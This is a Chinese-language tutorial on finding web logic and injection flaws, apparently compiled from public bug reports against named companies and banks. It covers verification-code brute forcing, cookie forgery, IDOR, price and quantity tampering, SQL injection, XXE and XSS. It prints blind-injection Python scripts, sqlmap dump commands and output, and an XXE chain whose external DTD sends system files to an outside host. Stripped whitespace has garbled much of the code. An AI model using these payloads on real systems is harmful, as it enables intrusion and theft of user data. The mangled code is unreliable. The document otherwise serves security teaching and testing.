1-web邏輯漏洞挖掘快速入門到放棄_第1頁(yè)
1-web邏輯漏洞挖掘快速入門到放棄_第2頁(yè)
1-web邏輯漏洞挖掘快速入門到放棄_第3頁(yè)
1-web邏輯漏洞挖掘快速入門到放棄_第4頁(yè)
1-web邏輯漏洞挖掘快速入門到放棄_第5頁(yè)
已閱讀5頁(yè),還剩168頁(yè)未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

業(yè)務(wù)安全漏洞挖掘身份認(rèn)證安全暴力破解在沒(méi)有驗(yàn)證碼限制或者一次驗(yàn)證碼可以多次使用的地方,使用已知用戶對(duì)密碼進(jìn)行暴力破解或者用一個(gè)通用密碼對(duì)用戶進(jìn)行暴力破解。簡(jiǎn)單的驗(yàn)證碼爆破。案列:某藥app暴力破解前一段時(shí)間某藥app在地鐵站里做廣告,于是就下了看了下,抓包一看請(qǐng)求全是明文的,感覺(jué)滲透有戲,于是,開始滲透先從登陸界面開始:從登陸界面上看,使用手機(jī)號(hào)登陸的,隨便輸入幾個(gè)手機(jī)號(hào)和密碼,發(fā)現(xiàn)返回內(nèi)容不一樣,手機(jī)號(hào)沒(méi)有注冊(cè)過(guò)的,返回手機(jī)號(hào)不存在,手機(jī)號(hào)注冊(cè)過(guò)的,返回用戶名密碼錯(cuò)誤,這就好辦了,自己構(gòu)造個(gè)手機(jī)號(hào)字典去刷,如圖:ok,拿到手機(jī)號(hào)了,下面就開始暴力破解驗(yàn)證碼了,用自己手機(jī)試了下,驗(yàn)證碼是4位的,而且請(qǐng)求也是明文的,接下來(lái)暴力破解驗(yàn)證碼,剛開始成功了,但是用這個(gè)驗(yàn)證碼卻登陸不上去,于是就關(guān)了那個(gè)爆破結(jié)果,后來(lái)我靜下來(lái)想想,想到人家驗(yàn)證碼可能是一次有效的,后來(lái)我又刷了一遍,但是可能被發(fā)現(xiàn)了,再刷結(jié)果返回302了,失敗于是我發(fā)現(xiàn)有個(gè)找回密碼功能,也是手機(jī)驗(yàn)證碼,填上自己自定義的密碼,然后獲取驗(yàn)證碼,抓包繼續(xù)爆破,這次找到了,其實(shí)暴力破解登陸驗(yàn)證碼的時(shí)候跟這個(gè)一樣,只不過(guò)我沒(méi)保存下來(lái),如圖:用我修改的密碼登陸,如圖:登陸成功總結(jié),這次爆破的跟之前不太一樣,之前的驗(yàn)證碼都是用過(guò)之后還有效的,這次驗(yàn)證碼是一次性的,可能我經(jīng)驗(yàn)太少了,大牛估計(jì)直接就想到了。一些工具及腳本BurpsuitehtpwdScan撞庫(kù)爆破必備URL:/lijiejie/htpwdScanhydra源碼安裝xhydra支持更多的協(xié)議去爆破(可破WEB,其他協(xié)議不屬于業(yè)務(wù)安全的范疇)Cookie&session會(huì)話固定攻擊利用服務(wù)器的session不變機(jī)制,借他人之手獲得認(rèn)證和授權(quán),冒充他人。案列:新浪廣東美食后臺(tái)驗(yàn)證邏輯漏洞,直接登錄后臺(tái),566764名用戶資料暴露網(wǎng)站源碼可直接下載本地,分析源碼可直接登陸后臺(tái)。暴露所有用戶個(gè)人資料,聯(lián)系方式等,目測(cè)用戶566764名。用戶資料暴露566764名用戶資料直接進(jìn)入后臺(tái)源碼直接下載566764名用戶資料直接跨后臺(tái)瀏覽修復(fù)方案:漏洞較多,不知怎么說(shuō)起,只列舉一項(xiàng)phpsessid會(huì)話固定,通過(guò)利用此漏洞,攻擊者可以進(jìn)行會(huì)話固定攻擊。在一個(gè)會(huì)話固定攻擊,攻擊者將用戶的會(huì)話ID之前,用戶甚至登錄到目標(biāo)服務(wù)器,從而消除了需要獲得用戶的會(huì)話ID之后。從php.ini設(shè)置session.use_only_cookies=1。該選項(xiàng)使管理員能夠使他們的用戶不會(huì)受到攻擊涉及在URL傳遞的會(huì)話ID,缺省值為0。Cookie仿冒:修改cookie中的某個(gè)參數(shù)可以登錄其他用戶。案例:益云廣告平臺(tái)任意帳號(hào)登錄只需要添加cookieyibouid=數(shù)字即可登錄任意用戶帳號(hào)!通過(guò)遍歷找到一個(gè)官方管理的ID291登錄看看瀏覽還是不錯(cuò)嘛修復(fù)方案:增強(qiáng)對(duì)cookie的驗(yàn)證機(jī)制!加密測(cè)試未使用https,是功能測(cè)試點(diǎn),不好利用。前端加密,用密文去后臺(tái)校驗(yàn),并利用smartdecode可解。業(yè)務(wù)一致性安全手機(jī)號(hào)篡改抓包修改手機(jī)號(hào)碼參數(shù)為其他號(hào)碼嘗試,例如在辦理查詢頁(yè)面,輸入自己的號(hào)碼然后抓包,修改手機(jī)號(hào)碼參數(shù)為其他人號(hào)碼,查看是否能查詢其他人的業(yè)務(wù)。郵箱和用戶名更改抓包修改用戶或者郵箱參數(shù)為其他用戶或者郵箱案例:綠盟RSAS安全系統(tǒng)全版本通殺權(quán)限管理員繞過(guò)漏洞,包括最新RSASVRSAS默認(rèn)的審計(jì)員賬號(hào)是:reporter,auditor密碼是:nsfocus普通賬戶登陸后查看版本,為最新V**.**.**.**版本然后修改審計(jì)員密碼,抓包,將referer處的auditor和post的數(shù)據(jù)里面的auditor一律修改為admin,也就是管理員賬號(hào),2處修改完后的數(shù)據(jù)包如下圖:提交數(shù)據(jù)后,直接返回給我們超級(jí)管理員的密碼修改頁(yè)面,利用邏輯錯(cuò)誤直接得到超級(jí)權(quán)限,如圖:我們直接在這里修改admin的密碼,然后提交即可:超級(jí)管理員登陸訂單ID更改查看自己的訂單id,然后修改id(加減一)查看是否能查看其它訂單信息。案例:廣之旅旅行社任意訪問(wèn)用戶訂單可以任意訪問(wèn)旅客的訂單,泄露旅客的敏感信息!用戶登陸廣之旅官方網(wǎng)站注冊(cè)登陸/只要隨便假訂一張訂單,在我的訂單里面獲得訂單號(hào),就能窮舉其它訂單信息/Users/Order/Groups.aspx?OrderId=訂單號(hào)該頁(yè)沒(méi)過(guò)濾權(quán)限,相信還有更大的漏洞。修復(fù)方案:對(duì)/Users/Order/Groups.aspx訂單頁(yè)增加過(guò)濾商品編號(hào)更改例如積分兌換處,100個(gè)積分只能換商品編號(hào)為001,1000個(gè)積分只能換商品編號(hào)005,在100積分換商品的時(shí)候抓包把換商品的編號(hào)修改為005,用低積分換區(qū)高積分商品。案例:聯(lián)想某積分商城支付漏洞再繞過(guò)/club/index.php?m=goods&c=lists還是這個(gè)積分商城、看我怎么用最低的積分換最高積分的禮物的~1.我先挑選出我最喜歡的禮物,并復(fù)制下goods_id=1419f75d406811e3ae7601beb44c5ff72.選擇積分最低的禮物兌換(5積分的杯子),并填好相關(guān)信息,抓包修改goods_id替換為1419f75d406811e3ae7601beb44c5ff73.這里顯示兌換成功,雖然顯示的是被子兌換成功,但是兌換記錄里,就不相同了到這我們心儀的禮物要30積分,我只花5積分就兌換來(lái)了,是不是很劃算?修復(fù)方案:積分參數(shù)還是放后臺(tái)來(lái)操作,有g(shù)oods_id,在后臺(tái)計(jì)算的時(shí)候取出并計(jì)算,這樣會(huì)安全些。用戶ID篡改抓包查看自己的用戶id,然后修改id(加減1)查看是否能查看其它用戶id信息。案列:拉勾網(wǎng)百萬(wàn)簡(jiǎn)歷泄漏風(fēng)險(xiǎn)(包括手機(jī)、郵件、應(yīng)聘職位等信息、還可冒充企業(yè)身份篩選簡(jiǎn)歷、發(fā)面試通知等)注冊(cè)一個(gè)企業(yè)賬戶,發(fā)布一個(gè)職位,然后看到有2個(gè)人投了簡(jiǎn)歷:打開簡(jiǎn)歷,點(diǎn)轉(zhuǎn)發(fā):抓包:改簡(jiǎn)歷id,話說(shuō)這是get:去郵箱看到有2封郵件:第一封是我發(fā)布職位里的沒(méi)錯(cuò):第二封跪了:看看能打開嗎:換個(gè)人:查看聯(lián)系方式:手機(jī),郵箱出來(lái)了:進(jìn)一步操作,可以看到應(yīng)聘職位:經(jīng)過(guò)自己的賬號(hào)測(cè)試,簡(jiǎn)歷操作都會(huì)真實(shí)改動(dòng)。隨機(jī)抽查:使用pydbg這種工具可瞬間建立離線簡(jiǎn)歷庫(kù),還好我是良民--,有沒(méi)有信息販子路過(guò)你們好好查查吧。業(yè)務(wù)數(shù)據(jù)篡改金額數(shù)據(jù)篡改抓包修改金額等字段,例如在支付頁(yè)面抓取請(qǐng)求中商品的金額字段,修改成任意數(shù)額的金額并提交,查看能否以修改后的金額數(shù)據(jù)完成業(yè)務(wù)流程。案例:12308訂單支付時(shí)的總價(jià)未驗(yàn)證漏洞(支付邏輯漏洞)在支付時(shí)可修改訂單總價(jià)在支付時(shí)可以修改訂單總價(jià),為了避免不必要的麻煩,未完成支付的最后一步.但是跳轉(zhuǎn)到支付寶價(jià)格已被修改。未完全確認(rèn),希望廠商自行測(cè)試。1.下單2.修改修復(fù)方案:加強(qiáng)驗(yàn)證商品數(shù)量篡改抓包修改商品數(shù)量等字段,將請(qǐng)求中的商品數(shù)量修改成任意數(shù)額,如負(fù)數(shù)并提交,查看能否以修改后的數(shù)量完成業(yè)務(wù)流程。案例:蔚藍(lán)團(tuán)支付邏輯漏洞(可負(fù)數(shù)支付)某團(tuán)購(gòu)網(wǎng)站通過(guò)修改數(shù)量為負(fù),成功獲取賬戶余額,該余額可成功支付其他訂單!蔚藍(lán)團(tuán)團(tuán)購(gòu)網(wǎng)站:/選好團(tuán)購(gòu)商品,然后點(diǎn)擊最下面的支付寶支付:抓包,并修改數(shù)量為-1:網(wǎng)站里出現(xiàn)未支付訂單:直接點(diǎn)擊付款,馬上就跳轉(zhuǎn)到顯示付款成功的頁(yè)面:賬戶余額增加了:使用該賬戶余額正常購(gòu)買別的商品:利用余額支付成功:最大數(shù)限制突破很多商品限制用戶購(gòu)買數(shù)量時(shí),服務(wù)器僅在頁(yè)面通過(guò)js腳本限制,未在服務(wù)器端校驗(yàn)用戶提交的數(shù)量,通過(guò)抓包修改商品最大數(shù)限制,將請(qǐng)求中的商品數(shù)量改為大于最大數(shù)限制的值,查看能否以修改后的數(shù)量完成業(yè)務(wù)流程。本地js參數(shù)修改部分應(yīng)用程序通過(guò)Javascript處理用戶提交的請(qǐng)求,通過(guò)修改Javascript腳本,測(cè)試修改后的數(shù)據(jù)是否影響到用戶。用戶輸入合規(guī)性注入測(cè)試手動(dòng)注入1.在參數(shù)中輸入一個(gè)單引號(hào)”’”,引起執(zhí)行查詢語(yǔ)句的語(yǔ)法錯(cuò)誤,得到服務(wù)器的錯(cuò)誤回顯,從而判斷服務(wù)器的數(shù)據(jù)庫(kù)類型信息。根據(jù)數(shù)據(jù)庫(kù)類型構(gòu)造sql注入語(yǔ)句。例如一個(gè)get方式的url[/abc.asp?p=YY]修改p的參數(shù)值/abc.asp?p=YYanduser>0,就可以判斷是否是SQL-SERVER,而還可以得到當(dāng)前連接到數(shù)據(jù)庫(kù)的用戶名。/abc.asp?p=YY&n…db_name()>0不僅可以判斷是否是SQL-SERVER,而還可以得到當(dāng)前正在使用的數(shù)據(jù)庫(kù)名。2.盲注,大部分時(shí)候web服務(wù)器關(guān)閉了錯(cuò)誤回顯。/abc.asp?p=1and1=2sql命令不成立,結(jié)果為空或出錯(cuò);/abc.asp?p=1and1=1sql命令成立,結(jié)果正常返回。兩個(gè)測(cè)試成功后,可以判斷負(fù)載的sql被執(zhí)行,存在sql注入漏洞。手動(dòng)注入網(wǎng)站示例。登錄密碼(‘or’1’=‘1)并成功進(jìn)入管理后臺(tái)。Limit后盲注案例:同花順一處limit后盲注(ROOT權(quán)限/跨11庫(kù))檢測(cè)發(fā)現(xiàn)以下地方存在SQL注入:(注入?yún)?shù)limit,limit后時(shí)間盲注)/thsft/iFindService/CellPhone/i-strategy/list-data?classify=1&flag=fancy&limit=3&order=1&page=1&sort=totalrate&type=0&version=Payload:(延時(shí)7秒)/thsft/iFindService/CellPhone/i-strategy/list-data?classify=1&flag=fancy&limit=1/**/procedure/**/analyse(extractvalue(1,benchmark(25000000,md5(111))),1)+--+-&order=1&page=1&sort=totalrate&type=0&version=1.當(dāng)前數(shù)據(jù)庫(kù)用戶,ROOT2.所有數(shù)據(jù)庫(kù),共11個(gè)Sql盲注案列:263通信某APP一處SQL盲注(附驗(yàn)證腳本)263網(wǎng)絡(luò)會(huì)議3.0/263/download/下載APP,"快速入會(huì)"功能,接口:POST/rest/netmeeting/quickLoginNetHTTP/1.1Content-Type:application/json;charset=UTF-8Content-Length:65Host:Connection:Keep-Alive{"pCode":"46867588","username":"lisi","clientType":10}注入點(diǎn):pCodebool盲注。false:true:數(shù)據(jù)庫(kù)用戶:BOSSAPP@7python驗(yàn)證腳本:headers={'Content-Type':'application/json;charset=UTF-8'}payloads='ABCDEFGHIJKLMNOPQRSTYVWXYZ0123456789@_.'print'[%s]StarttoretrivedbUser:'%time.strftime('%H:%M:%S',time.localtime())user=''isEnd=Falseforiinrange(1,36):ifisEnd:breakisEnd=Trueforpayloadinpayloads:url='/rest/netmeeting/quickLoginNet'start_time=time.time()data='{"pCode":"46867588\'orMID(user(),'+str(i)+',1)=\''+payload+'","username":"lisi","clientType":10}'conn=httplib.HTTPConnection('',timeout=60)conn.request(method='POST',url=url,body=data,headers=headers)html_doc=conn.getresponse().read()conn.close()print'.',if(html_doc.find('80007')>0):isEnd=Falseuser+=payloadprint'\n[inprogress]',user,breaktime.sleep(0.1)print'\n[Done]dbuseris%s'%usertime.sleep(20)偽靜態(tài)db2布爾盲注案列:某銀行主站偽靜態(tài)DB2布爾盲注這個(gè)也幫忙給審核下吧thankshttp://**.**.**.**/bugs/wooyun-2016-0211479/trace/8722c6d1776df3a473e61e3dc44c12f9http://**.**.**.**/Site/Home/CN沒(méi)waf直接上sqlmap未脫褲availabledatabases[10]:[*]DB2INST1[*]NULLID[*]SQLJ[*]SYSCAT[*]SYSFUN[*]SYSIBM[*]SYSIBMADM[*]SYSPROC[*]SYSSTAT[*]SYSTOOLScurrentdatabase:'CMSDB'databasemanagementsystemusers[1]:[*]DB2INST1[313tables]++|ADVISE_WORKLOAD||AREA||AREA_EMAIL||COMPANY_LOANS||D2S_BLOCK_TEMPLATEMAP||D2S_CHANEL_CHANEL_RELATIONSHIP||D2S_CHANNEL_BLOCKMAP||D2S_CHANNEL_INFO_RELATIONSHIP||D2S_CHANNEL_TEMPLATEMAP||D2S_INFO_BLOCKMAP||D2S_INFO_CHANNEL_RELATIONSHIP||D2S_INFO_INFO_RELATIONSHIP||D2S_INFO_TEMPLATEMAP||D2S_TEMPLATE||EMAIL_SEND_LOG|偽靜態(tài)sql布爾盲注案列:某銀行主站偽靜態(tài)sql布爾盲注roothttp://**.**.**.**//cmsDeskArticle/bankCardType/1注入點(diǎn)經(jīng)測(cè)試information_schema不能用,sqlmap神器也悲傷肯花時(shí)間的話可以猜的出表漏洞證明:工具跑不了1'orlength(database())=7and1=1or'1'='1'orascii(mid((database()),1,1))=102and1=1or'1'='f1'orascii(mid((database()),2,1))=120and1=1or'1'='x1'orascii(mid((database()),3,1))=45and1=1or'1'='-1'orascii(mid((database()),4,1))=98and1=1or'1'='b1'orascii(mid((database()),5,1))=97and1=1or'1'='a1'orascii(mid((database()),6,1))=110and1=1or'1'='n1'orascii(mid((database()),7,1))=107and1=1or'1'='kfx-bank1'orascii(mid(version(),1,1))=53and1=1or'1'='m1'orascii(mid(version(),2,1))=46and1=1or'1'='.1'orascii(mid(version(),3,1))=53and1=1or'1'='51'orascii(mid(version(),4,1))=46and1=1or'1'='.1'orascii(mid(version(),5,1))=50and1=1or'1'='21'orascii(mid(version(),6,1))=49and1=1or'1'='11'orascii(mid(version(),7,1))=45and1=1or'1'='-1'orascii(mid(version(),8,1))=108and1=1or'1'='l1'orascii(mid(version(),9,1))=111and1=1or'1'='o1'orascii(mid(version(),10,1))=103and1=1or'1'='gm.5.21-log1'orascii(mid(user(),1,1))=114and1=1or'1'='r1'orascii(mid(user(),2,1))=111and1=1or'1'='o1'orascii(mid(user(),3,1))=111and1=1or'1'='o1'orascii(mid(user(),4,1))=116and1=1or'1'='t1'orascii(mid(user(),5,1))=64and1=1or'1'='@1'orascii(mid(user(),6,1))=108and1=1or'1'='lroot@localhost時(shí)間盲注案列:迅雷一處時(shí)間盲注抓的post包POST/location/upload_peerinfoHTTP/1.1Host:User-Agent:Mozilla/5.0(WindowsNT10.0;WOW64;rv:46.0)Gecko/20100101Firefox/46.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding:gzip,deflateDNT:1Cookie:sessionid=CC824A20602118045BF9B8150499AD86;userid=50947382;peerid=50E549E88890F5GQ;client=pc;v=58Connection:keep-aliveCache-Control:max-age=0Content-Type:application/x-www-form-urlencodedContent-Length:74{"cpu":"","devicename":"ZHONGWEN","devicetype":"pc","imei":"","memory":""}devicename\devicetype都是注入點(diǎn)Parameter:JSONdevicename((custom)POST)Type:AND/ORtime-basedblindTitle:MySQL>=5.0.12ANDtime-basedblind(SELECT)Payload:{"cpu":"","devicename":"ZHONGWEN'AND(SELECT*FROM(SELECT(SLEEP(5)))DEhT)AND'AgGq'='AgGq","devicetype":"pc","imei":"","memory":""}Parameter:JSONdevicetype((custom)POST)Type:AND/ORtime-basedblindTitle:MySQL>=5.0.12ANDtime-basedblind(SELECT)Payload:{"cpu":"","devicename":"ZHONGWEN","devicetype":"pc'AND(SELECT*FROM(SELECT(SLEEP(5)))KNUs)AND'HTgX'='HTgX","imei":"","memory":""}availabledatabases[6]:[*]`xl9\x81\x81omplain`[*]information_schema[*]x[*]xl9_location[*]xl9_tracer[*]xl9_user_ip_loc[15:55:53][INFO]fetchingtablesfordatabase:'xl9_user_ip_loc'[15:55:53][INFO]fetchingnumberoftablesfordatabase'xl9_user_ip_loc'[15:55:53][INFO]resumed:257xl9_user_ip_loc這個(gè)庫(kù)挺大的都是用戶記錄的ip吧。Oracle盲注案列:新疆人社廳Oracle盲注(附驗(yàn)證腳本)注入地址:http://**.**.**.**/wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151590e127808da'ANDlength(SYS_CONTEXT('USERENV','CURRENT_USER'))=3AND'xxx'='xxx參數(shù)id過(guò)濾不嚴(yán)格導(dǎo)致SQLihttp://**.**.**.**/wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151590e127808da'ANDlength(SYS_CONTEXT('USERENV','CURRENT_USER'))=3AND'xxx'='xxx返回正常http://**.**.**.**/wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151590e127808da'ANDlength(SYS_CONTEXT('USERENV','CURRENT_USER'))=4AND'xxx'='xxx返回不一樣,判斷用戶名為3個(gè)字符直接放進(jìn)腳本跑。這里舉例CURRENT_USER和OS_USER,其他類似#!/usr/bin/envpython#-*-coding:utf-8-*-#@Author:importrequestsurl="http://**.**.**.**/wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151590e127808da"payloads='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789@_.'header={ "User-Agent":"Mozilla/5.0(WindowsNT6.1;WOW64;rv:45.0)Gecko/20100101Firefox/45.0", "Cookie":"JSESSIONID=5V1JXjMpQLtR92RxJ62KrMQLfY4t6xpdQCBfcXLHtT2yz4jsT7Gr!1478879510", "Accept":"" }defgetData(): user='' foriinrange(1,4,1): forexpinlist(payloads): try: payload="'ANDsubstr(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1)='%s'AND'xxx'='xxx"%(i,''.join(exp)) r=requests.get(url+payload,headers=header,allow_redirects=False,timeout=100) res=r.text #printexp ifres.find("20151130234113")>0: user+=exp print'\nuseris:',user, except: pass print'\n[Done]Oracleuseris%s'%user defgetDataBase(): user='' foriinrange(0,13,1): forexpinlist(payloads): try: payload="'ANDsubstr(SYS_CONTEXT('USERENV','OS_USER'),%s,1)='%s'AND'xxx'='xxx"%(i,''.join(exp)) r=requests.get(url+payload,headers=header,allow_redirects=False,timeout=100) res=r.text #printexp ifres.find("20151130234113")>0: user+=exp print'\nOS_USERis:',user, except: pass print'\n[Done]OracleOS_USERis%s'%userif__name__=='__main__': #len=getLength() getData() getDataBase()驗(yàn)證結(jié)果:

Xxe盲注案列:利用網(wǎng)易一處XXE盲注演示如何通過(guò)cloudeye配合實(shí)現(xiàn)文件內(nèi)容讀取野生xml外部實(shí)體注入地址:6:8080/webdav/IP歸屬地:存在一處webdav目錄,支持通過(guò)PROPFIND方式提交xml結(jié)構(gòu)請(qǐng)求構(gòu)造xxe測(cè)試payload:PROPFIND/webdav/HTTP/1.1Content-type:application/xmlDepth:0Connection:Keep-aliveTE:trailersAuthorization:BasicYW5vbnltb3VzOmFub255bW91cw==Host:6:8080Content-Length:172Accept-Encoding:gzip,deflateUser-Agent:Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.21(KHTML,likeGecko)Chrome/41.0.2228.0Safari/537.21Accept:*/*<?xmlversion="1.0"encoding="utf-8"?><!DOCTYPEdtz3zkd[<!ENTITY%dtdSYSTEM"http://66/">%dtd;]><propfindxmlns="DAV:"><allprop/></propfind>cloudeyeapache日志:response返回?cái)?shù)據(jù):<?xmlversion="1.0"encoding="utf-8"?><multistatusxmlns="DAV:"><response><href>/webdav/</href><propstat><prop><creationdate>2015-07-13T12:13:57Z</creationdate><displayname><![CDATA[]]></displayname><resourcetype><collection/></resourcetype><source></source><supportedlock><lockentry><lockscope><exclusive/></lockscope><locktype><write/></locktype></lockentry><lockentry><lockscope><shared/></lockscope><locktype><write/></locktype></lockentry></supportedlock></prop><status>HTTP/1.1200OK</status></propstat></response></multistatus>證明解析xml時(shí)嘗試引用了外部資源,存在XXE漏洞后續(xù)嘗試構(gòu)造xml請(qǐng)求獲取回顯失敗,考慮繼續(xù)通過(guò)cloudeye獲取blindxxe回顯結(jié)果。創(chuàng)建一個(gè)獲取回顯結(jié)果的dtd文件:<?xmlversion="1.0"encoding="UTF-8"?><!ENTITY%all"<!ENTITY%sendSYSTEM'http://66/?xml1=%payload;'>">%all;調(diào)用地址:http://*.*.*.*:8080/xml/evil.dtd再次構(gòu)造請(qǐng)求payload讀取hostname:PROPFIND/webdav/HTTP/1.1Content-type:application/xmlDepth:0Connection:Keep-aliveTE:trailersAuthorization:BasicYW5vbnltb3VzOmFub255bW91cw==Host:6:8080Content-Length:172Accept-Encoding:gzip,deflateUser-Agent:Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.21(KHTML,likeGecko)Chrome/41.0.2228.0Safari/537.21Accept:*/*<?xmlversion="1.0"encoding="utf-8"?><!DOCTYPEa[<!ENTITY%payloadSYSTEM"file:///proc/sys/kernel/hostname"><!ENTITY%dtdSYSTEM"http://*.*.*.*:8080/xml/evil.dtd">%dtd;%send;]><propfindxmlns="DAV:"><allprop/></propfind>cloudeyeapache日志:獲取的hostname為:classa-popoatispam1,貌似是網(wǎng)易popo的反垃圾郵件系統(tǒng)由于讀取帶有換行符、#、<、>等特殊符號(hào)文件內(nèi)容時(shí),會(huì)破壞xml語(yǔ)法結(jié)構(gòu),導(dǎo)致payload無(wú)法正常解析,所以還做不到任意文件讀取,可以嘗試尋找base64、urlencode編碼方法來(lái)解決,反正我是沒(méi)有搞定/(ㄒoㄒ)/~~但是也可以讀到好多有價(jià)值的內(nèi)容,比如讀取/etc/:PROPFIND/webdav/HTTP/1.1Content-type:application/xmlDepth:0Connection:Keep-aliveTE:trailersAuthorization:BasicYW5vbnltb3VzOmFub255bW91cw==Host:6:8080Content-Length:172Accept-Encoding:gzip,deflateUser-Agent:Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.21(KHTML,likeGecko)Chrome/41.0.2228.0Safari/537.21Accept:*/*<?xmlversion="1.0"encoding="utf-8"?><!DOCTYPEa[<!ENTITY%payloadSYSTEM"file:///etc/"><!ENTITY%dtdSYSTEM"http://*.*.*.*:8080/xml/evil.dtd">%dtd;%send;]><propfindxmlns="DAV:"><allprop/></propfind>結(jié)果為:Debian%20GNU/Linux%207讀取/etc/ssh/ssh_host_rsa_key.pub:PROPFIND/webdav/HTTP/1.1Content-type:application/xmlDepth:0Connection:Keep-aliveTE:trailersAuthorization:BasicYW5vbnltb3VzOmFub255bW91cw==Host:6:8080Content-Length:172Accept-Encoding:gzip,deflateUser-Agent:Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.21(KHTML,likeGecko)Chrome/41.0.2228.0Safari/537.21Accept:*/*<?xmlversion="1.0"encoding="utf-8"?><!DOCTYPEa[<!ENTITY%payloadSYSTEM"file:///etc/"><!ENTITY%dtdSYSTEM"http://*.*.*.*:8080/xml/evil.dtd">%dtd;%send;]><propfindxmlns="DAV:"><allprop/></propfind>結(jié)果為:ssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQCcdWadpFCGUL9soWpo7KIc4/WlcwkcvqOeMfnCS4sSmT+fsQ1FMY+h6Ab+xQrvrhp4ufIN/iR92SMeIYLCxg+DSIXKdxKob9luJKdF/zl4UY/qTmRaQaAPlAgZsPHnBMKT5BW08ZMX+NzH8jQQx6xHCkx4Bqom88NMfePN0ydYwGzehS/7oh0s9JYgo8knTJ6eke7y/ohtzMLjCoBQHfAOTtyRPoFSyfc2ksU/rZOvAPteQvmhyc1geAmngcGV0eabzhSmNHcrxqeKZ5wK7zOmoGeoEZrfxADCHlDbf6P+XJ3HjgDZg1iBHNH4hjkdNGkVCaxpRg9CD+V/G3Ddn0Xl%20root@classa-popoatispam1自動(dòng)化工具檢測(cè)注入SQLmap–檢測(cè)與利用SQL注入漏洞的免費(fèi)開源工具sqlmap.py–u【指定url】–cookie–dbs//列出數(shù)據(jù)庫(kù)sqlmap.py–u【指定url】-D【數(shù)據(jù)庫(kù)名】--tables//列出某個(gè)庫(kù)的數(shù)據(jù)表sqlmap.py–u【指定url】-D【數(shù)據(jù)庫(kù)名】-T【數(shù)據(jù)表名】–columns//列出數(shù)據(jù)表的列名sqlmap.py–u【指定url】-Ddvwa-Tusers-Cuser,password–dump//把用戶名密碼列出來(lái)(sqlmap自動(dòng)破解密碼)某網(wǎng)站拖庫(kù)示例案例:興業(yè)銀行某站存在SQL注入//?m=product&s=detail&id=457存在注入Xss測(cè)試XSS(CrossSiteScripting,跨站腳本攻擊)是一類特殊的Web客戶端腳本注入攻擊手段,通常指攻擊者通過(guò)“HTML注入”篡改了網(wǎng)頁(yè),插入惡意的腳本,從而在用戶瀏覽網(wǎng)頁(yè)時(shí)控制瀏覽器的一種攻擊。當(dāng)應(yīng)用程序發(fā)送給瀏覽器的頁(yè)面中包含用戶提供的數(shù)據(jù),而這些數(shù)據(jù)沒(méi)有經(jīng)過(guò)適當(dāng)?shù)霓D(zhuǎn)義,或者在這些內(nèi)容被顯示在頁(yè)面之前沒(méi)有驗(yàn)證它們都是安全的,使得輸入被視為瀏覽器中的動(dòng)態(tài)內(nèi)容,就會(huì)導(dǎo)致存在跨站腳本漏洞。按照“數(shù)據(jù)是否保存在服務(wù)器”,XSS被分為:反射型XSS和存儲(chǔ)型XSS。1.簡(jiǎn)單測(cè)試腳本檢測(cè)漏洞(XSSpayload)將payload作為用戶輸入?yún)?shù)提交測(cè)試,這些payload的目的是閉合html的標(biāo)簽,使瀏覽器彈窗。若服務(wù)器對(duì)請(qǐng)求參數(shù)沒(méi)有過(guò)濾處理,即直接彈窗,那么包含有惡意代碼的響應(yīng)信息被瀏覽器直接解析執(zhí)行,由此觸發(fā)XSS漏洞,且誤報(bào)率很低。當(dāng)然有些xss漏洞隱藏較深,并不能那么容易檢測(cè)到,需要構(gòu)造更加強(qiáng)大的payload繞過(guò)一些xss簡(jiǎn)單過(guò)濾。2、xss攻擊過(guò)程在確定可注入的xss漏洞之后,誘使用戶加載一個(gè)遠(yuǎn)程腳本,如將url的提交參數(shù)改為“><scriptsrc=/ec.js></script>攻擊者將真正的惡意負(fù)載寫在這個(gè)遠(yuǎn)程腳本中,避免直接在url的參數(shù)里寫入大量的js的代碼,通過(guò)惡意腳本,進(jìn)而控制用戶的瀏覽器,達(dá)到攻擊目的。反射型XSS:服務(wù)器未對(duì)用戶請(qǐng)求參數(shù)做任何編碼或轉(zhuǎn)義處理,直接將參數(shù)作為響應(yīng)的一部分輸出到頁(yè)面中。反射型XSS是一次性的,很容易實(shí)施釣魚攻擊,即誘使被攻擊者點(diǎn)擊某條惡意鏈接就可觸發(fā)漏洞。案例:騰訊財(cái)付通反射型XSS一枚(附繞過(guò)詳細(xì)分析)繞了幾天都沒(méi)搞定,請(qǐng)教了@mramydnei,一會(huì)他就bypassWAF,感謝M神的無(wú)私指導(dǎo)?。№槺氵€學(xué)到了新思路!學(xué)習(xí)了相關(guān)資料后發(fā)現(xiàn)的:1./2014/07/google-doodle-xss-actually-response.html2./papers/2466這是一個(gè)在微信手機(jī)端用的一個(gè)接口,用于拉取零錢明細(xì),接口如下,在微信客戶端里請(qǐng)求時(shí)傳入的參數(shù)都會(huì)被替換成相應(yīng)正確的參數(shù),因此在微信里沒(méi)有什么用,但測(cè)試后發(fā)現(xiàn)在瀏覽器端還是可以的:/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a返回:<HTTP/1.1200OK<Server:nginx/1.6.0<Date:Sat,30Jan201612:08:28GMT<Content-Type:text/html;charset=gbk<Content-Length:0<Connection:keep-alive<Cache-Control:no-cache,must-revalidate<Set-Cookie:pass_ticket=a;Domain=;Path=/;Expires=Sun,31-Jan-201612:08:28GMT可以發(fā)現(xiàn)pass_ticket參數(shù)在Set-Cookie中,且值就等于a,接下來(lái)我試著插入/cgi-bin/mm